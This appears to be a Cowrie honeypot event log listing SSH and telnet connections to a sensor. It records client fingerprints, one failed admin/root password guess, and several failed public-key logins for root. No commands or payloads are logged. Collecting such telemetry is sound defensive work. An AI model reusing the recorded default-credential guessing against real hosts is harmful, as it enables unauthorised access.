{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:09.685224Z","src_ip":"85.11.167.100","session":"9a57e760cb17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":43688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f327bb73fe43","protocol":"telnet","message":"New connection: 38.41.2.225:43688 (10.17.0.5:23) [session: f327bb73fe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:12.575681Z"}
{"eventid":"cowrie.session.closed","duration":0.6281132698059082,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:13.203703Z","src_ip":"38.41.2.225","session":"f327bb73fe43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":44058,"dst_ip":"10.17.0.5","dst_port":23,"session":"be550943e988","protocol":"telnet","message":"New connection: 38.41.2.225:44058 (10.17.0.5:23) [session: be550943e988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:13.962581Z"}
{"eventid":"cowrie.session.closed","duration":120.00735592842102,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:24.185441Z","src_ip":"38.41.2.225","session":"f6a592bfbaf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":45064,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85cb9517123","protocol":"telnet","message":"New connection: 38.41.2.225:45064 (10.17.0.5:23) [session: a85cb9517123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:26.276201Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.209.146.224","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd23010b499b","protocol":"ssh","message":"New connection: 35.209.146.224:1024 (159.203.135.109:22) [session: fd23010b499b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:48.097640Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:48.163284Z","src_ip":"35.209.146.224","session":"fd23010b499b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03924369812012,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:43:07.625049Z","src_ip":"38.41.2.225","session":"a0c4f899f973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00304079055786,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:43:13.965423Z","src_ip":"38.41.2.225","session":"be550943e988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":55246,"dst_ip":"10.17.0.5","dst_port":23,"session":"557b11c0f1d9","protocol":"telnet","message":"New connection: 38.41.2.225:55246 (10.17.0.5:23) [session: 557b11c0f1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:43:16.486213Z"}
{"eventid":"cowrie.session.closed","duration":120.01115322113037,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:43:26.287175Z","src_ip":"38.41.2.225","session":"a85cb9517123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.88.148.143","src_port":36122,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d994d1e9d1","protocol":"ssh","message":"New connection: 111.88.148.143:36122 (159.203.135.109:22) [session: 72d994d1e9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:44:28.223921Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:44:28.233404Z","src_ip":"111.88.148.143","session":"72d994d1e9d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":46562,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ceb5bfeb8f","protocol":"telnet","message":"New connection: 167.71.238.254:46562 (10.17.0.5:23) [session: 24ceb5bfeb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:44:45.111623Z"}
{"eventid":"cowrie.session.closed","duration":28.51856756210327,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:45:13.630076Z","src_ip":"167.71.238.254","session":"24ceb5bfeb8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01556181907654,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:45:16.501653Z","src_ip":"38.41.2.225","session":"557b11c0f1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":38724,"dst_ip":"10.17.0.5","dst_port":23,"session":"4457518218a0","protocol":"telnet","message":"New connection: 38.41.2.225:38724 (10.17.0.5:23) [session: 4457518218a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:45:17.635744Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":32181,"dst_ip":"10.17.0.5","dst_port":22,"session":"26bcc1d4421c","protocol":"ssh","message":"New connection: 178.20.210.186:32181 (10.17.0.5:22) [session: 26bcc1d4421c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:29.928967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:29.934368Z","src_ip":"178.20.210.186","session":"26bcc1d4421c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:30.050854Z","src_ip":"178.20.210.186","session":"26bcc1d4421c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:30.451564Z","src_ip":"178.20.210.186","session":"26bcc1d4421c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:31.559017Z","src_ip":"178.20.210.186","session":"26bcc1d4421c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.111.233","src_port":14724,"dst_ip":"159.203.135.109","dst_port":22,"session":"07b39829057a","protocol":"ssh","message":"New connection: 77.239.111.233:14724 (159.203.135.109:22) [session: 07b39829057a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:46.187188Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:46.191621Z","src_ip":"77.239.111.233","session":"07b39829057a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.79.244.210","src_port":43602,"dst_ip":"10.17.0.5","dst_port":22,"session":"657c5358e82b","protocol":"ssh","message":"New connection: 103.79.244.210:43602 (10.17.0.5:22) [session: 657c5358e82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:46.480347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:46.485089Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:46.726013Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:ea:ce:54:04:f9:b6:a6:93:c8:c3:f4:9d:7e:d3:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7R8AcCUqcGSCCsKWxyRcfa+t0yWHk7Z2Z3pGcpPkXrTZzf+0E0Lvgh0LLDNCaG+WFUK/tfTFQPJJBp6kNHfyeKwa3FakZ3WJ3oyfJyVRFH5dx3O7kkw8BvK/LziqkEPIeof9U9BQg63CHKRnE6keuhw3UEpdWw+J3NM6pTVDGEWzbQkDJ+5FsfgE+Zsk35PzVwktOvIeoy6eGiFb5Juu5ireBTmLU7N2ZExTjoKPw0BLmX7+2qaxppgazQBqaj+IrsB8UcD2CdRP1Qxff9g+nZS0W0/rW0ci6utcNB4ac3DIOvXbZf2hR6foNlCIW2ajSCf/hqt39dDHVLz6FXOgr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:ea:ce:54:04:f9:b6:a6:93:c8:c3:f4:9d:7e:d3:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:47.906279Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:ea:ce:54:04:f9:b6:a6:93:c8:c3:f4:9d:7e:d3:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7R8AcCUqcGSCCsKWxyRcfa+t0yWHk7Z2Z3pGcpPkXrTZzf+0E0Lvgh0LLDNCaG+WFUK/tfTFQPJJBp6kNHfyeKwa3FakZ3WJ3oyfJyVRFH5dx3O7kkw8BvK/LziqkEPIeof9U9BQg63CHKRnE6keuhw3UEpdWw+J3NM6pTVDGEWzbQkDJ+5FsfgE+Zsk35PzVwktOvIeoy6eGiFb5Juu5ireBTmLU7N2ZExTjoKPw0BLmX7+2qaxppgazQBqaj+IrsB8UcD2CdRP1Qxff9g+nZS0W0/rW0ci6utcNB4ac3DIOvXbZf2hR6foNlCIW2ajSCf/hqt39dDHVLz6FXOgr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:47.910721Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:af:e1:73:69:82:50:1a:cb:75:c6:64:e3:9b:09:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmj3PXia67def/tjjuD79loklSW2Htfy3ejoJnunfI932OqDERcEMTEyRf6pDZHhP9r9PsXSxcGBvBN35XKCuNBx+/pEiNVil+UhQEr8I0LbQt4u2J0g/do47VjhtN2E+9YansPdNqWIGeaIH1NM8QY0AVS7uSAV6jM6KvPWjsOGWSJhqp90KxxnccPhxShzCPm3cH8834h85Mx9p9FnDGAkj0ikHXZ3Coeli9UiHrajzgYJTtO11co8ky66ncEHMNK3ILffBbPbYhniClctu+wjjLqockEdZhxQCs2Lt6JNx7fidqJfJE17joQMvtR5x2sacru3oV04lr6RNqhESL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:af:e1:73:69:82:50:1a:cb:75:c6:64:e3:9b:09:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.152672Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:af:e1:73:69:82:50:1a:cb:75:c6:64:e3:9b:09:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmj3PXia67def/tjjuD79loklSW2Htfy3ejoJnunfI932OqDERcEMTEyRf6pDZHhP9r9PsXSxcGBvBN35XKCuNBx+/pEiNVil+UhQEr8I0LbQt4u2J0g/do47VjhtN2E+9YansPdNqWIGeaIH1NM8QY0AVS7uSAV6jM6KvPWjsOGWSJhqp90KxxnccPhxShzCPm3cH8834h85Mx9p9FnDGAkj0ikHXZ3Coeli9UiHrajzgYJTtO11co8ky66ncEHMNK3ILffBbPbYhniClctu+wjjLqockEdZhxQCs2Lt6JNx7fidqJfJE17joQMvtR5x2sacru3oV04lr6RNqhESL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.159919Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:f4:81:b0:89:1e:c8:04:f7:e2:23:5e:4c:b7:48:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTvL7bwj3Pn5B3ExmSuqWLyqvUSGawm4k2RLiPcrgMlvnHoSF8vLpXdxG5Lwo6DAhuGvDnfc8TCB0AzMZyH+gbCMd/h+or3RrGtKwa29p2xsqzRI7z6ohxEnO8orXAGaY0lF5uJwM3wjDjT4CsfPq5QQXzUJT0znR6MbxyT5DAl7XoP5dwrLoToRULyZKj4tQ35/Kgy31yCsLGwEpCZu4/lRpcO2ehPeaNNvKJmPIVbdlI3Fe6f4RV5XgvjlQOpcWPVipPNN6zpt5BJI62DLNvTvnuOlx/HslBQHgeoLNB49/8roqLYV0oENVZeLdpxfS8hj/0YASd9Jy1N+eCa2CAzkt967E6QaMKG8yWGOo7qg/DjG3qfFTC41XkPK2gFE4a2nSWkNfQIsamx0b8H3Ms1HQFkBNSAk6jYeptcu51Rfe+z1gmwUeNUt9qwASnCVEQYIMMzM4901IK68CaMZ4LXjWIiAxCvaHze3K/o3c0dHWPx0N/VCRdqqRdRQAL71E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:f4:81:b0:89:1e:c8:04:f7:e2:23:5e:4c:b7:48:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.402210Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:f4:81:b0:89:1e:c8:04:f7:e2:23:5e:4c:b7:48:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTvL7bwj3Pn5B3ExmSuqWLyqvUSGawm4k2RLiPcrgMlvnHoSF8vLpXdxG5Lwo6DAhuGvDnfc8TCB0AzMZyH+gbCMd/h+or3RrGtKwa29p2xsqzRI7z6ohxEnO8orXAGaY0lF5uJwM3wjDjT4CsfPq5QQXzUJT0znR6MbxyT5DAl7XoP5dwrLoToRULyZKj4tQ35/Kgy31yCsLGwEpCZu4/lRpcO2ehPeaNNvKJmPIVbdlI3Fe6f4RV5XgvjlQOpcWPVipPNN6zpt5BJI62DLNvTvnuOlx/HslBQHgeoLNB49/8roqLYV0oENVZeLdpxfS8hj/0YASd9Jy1N+eCa2CAzkt967E6QaMKG8yWGOo7qg/DjG3qfFTC41XkPK2gFE4a2nSWkNfQIsamx0b8H3Ms1HQFkBNSAk6jYeptcu51Rfe+z1gmwUeNUt9qwASnCVEQYIMMzM4901IK68CaMZ4LXjWIiAxCvaHze3K/o3c0dHWPx0N/VCRdqqRdRQAL71E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.406490Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:73:e3:cb:09:9c:1d:2d:45:83:ec:95:6f:2f:cc:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVHaCfBAtm/teisv+hDkejNKc1vqigbL/o6kRVXYHGq5r2fkO0CjV4oTsqiwwU9RLYHElOFDjLmvRMEJroJ4emobB4DJUf52XxZj9/3KtRHEubepN5kDCxF2Gns1KDR9bnmVZ0l1Xhjej5alOyHYMSU4m4iKbIUUIaUXKPU7pNwNABFw6uz14Jl6alZrtbyyK9S7zJwDzqMmt5OP8ae2BqEVrqVkRj8s/B0FllX1N7bkrEm+2pXI+WBMEV9cBt76iZHxKeYJ9HJ5lMVUKIHU7Xt05U88byykro83pTYaoqg8rop4v0xqhd8f5Ib/xBLCA1mvrmc3PSwLxgOmwt+I7L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:73:e3:cb:09:9c:1d:2d:45:83:ec:95:6f:2f:cc:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.647928Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:73:e3:cb:09:9c:1d:2d:45:83:ec:95:6f:2f:cc:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVHaCfBAtm/teisv+hDkejNKc1vqigbL/o6kRVXYHGq5r2fkO0CjV4oTsqiwwU9RLYHElOFDjLmvRMEJroJ4emobB4DJUf52XxZj9/3KtRHEubepN5kDCxF2Gns1KDR9bnmVZ0l1Xhjej5alOyHYMSU4m4iKbIUUIaUXKPU7pNwNABFw6uz14Jl6alZrtbyyK9S7zJwDzqMmt5OP8ae2BqEVrqVkRj8s/B0FllX1N7bkrEm+2pXI+WBMEV9cBt76iZHxKeYJ9HJ5lMVUKIHU7Xt05U88byykro83pTYaoqg8rop4v0xqhd8f5Ib/xBLCA1mvrmc3PSwLxgOmwt+I7L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.652576Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:03:86:00:e5:2b:dd:4a:fb:8c:58:80:e5:11:55:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnmUeIY4c0ayA+6zUVI0a2qKMA5/88HctAJp/I6Gl6zo360C8Kgd8QkC5U71MugCvvapRO75laa0j4G5i6bz+d2mOq8LXmJBoZaIVz7SXRlGBEYHtNyfT6uxm/UYvIpLgbkROAo9OdjPR19bO6GKuCoB0dtm1Y78hEXPCNd15lqePiyFR6/amLsQwSZtk8BFCGfoJvUd//S8Cox249Dt9wODSe8fTlD8r39KUXhDaExs7PJr0971Y5Yq8sXV705XHcFcmrXYyoaZJb2cWzRLR/0BPAJDX+hQocUSbIK8U5ROHOqbQ04H634tIPHufLSDEkE2E9OBVPlNiwUbSB+ext","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:03:86:00:e5:2b:dd:4a:fb:8c:58:80:e5:11:55:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.894017Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:03:86:00:e5:2b:dd:4a:fb:8c:58:80:e5:11:55:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnmUeIY4c0ayA+6zUVI0a2qKMA5/88HctAJp/I6Gl6zo360C8Kgd8QkC5U71MugCvvapRO75laa0j4G5i6bz+d2mOq8LXmJBoZaIVz7SXRlGBEYHtNyfT6uxm/UYvIpLgbkROAo9OdjPR19bO6GKuCoB0dtm1Y78hEXPCNd15lqePiyFR6/amLsQwSZtk8BFCGfoJvUd//S8Cox249Dt9wODSe8fTlD8r39KUXhDaExs7PJr0971Y5Yq8sXV705XHcFcmrXYyoaZJb2cWzRLR/0BPAJDX+hQocUSbIK8U5ROHOqbQ04H634tIPHufLSDEkE2E9OBVPlNiwUbSB+ext","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:48.898219Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:46:49.139352Z","src_ip":"103.79.244.210","session":"657c5358e82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02969932556152,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:47:17.665303Z","src_ip":"38.41.2.225","session":"4457518218a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":51372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b7adbc02f0","protocol":"telnet","message":"New connection: 38.41.2.225:51372 (10.17.0.5:23) [session: f2b7adbc02f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:47:20.133817Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.180.163.29","src_port":40718,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f5da03ada0","protocol":"ssh","message":"New connection: 139.180.163.29:40718 (10.17.0.5:22) [session: 79f5da03ada0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:31.673727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:31.677609Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
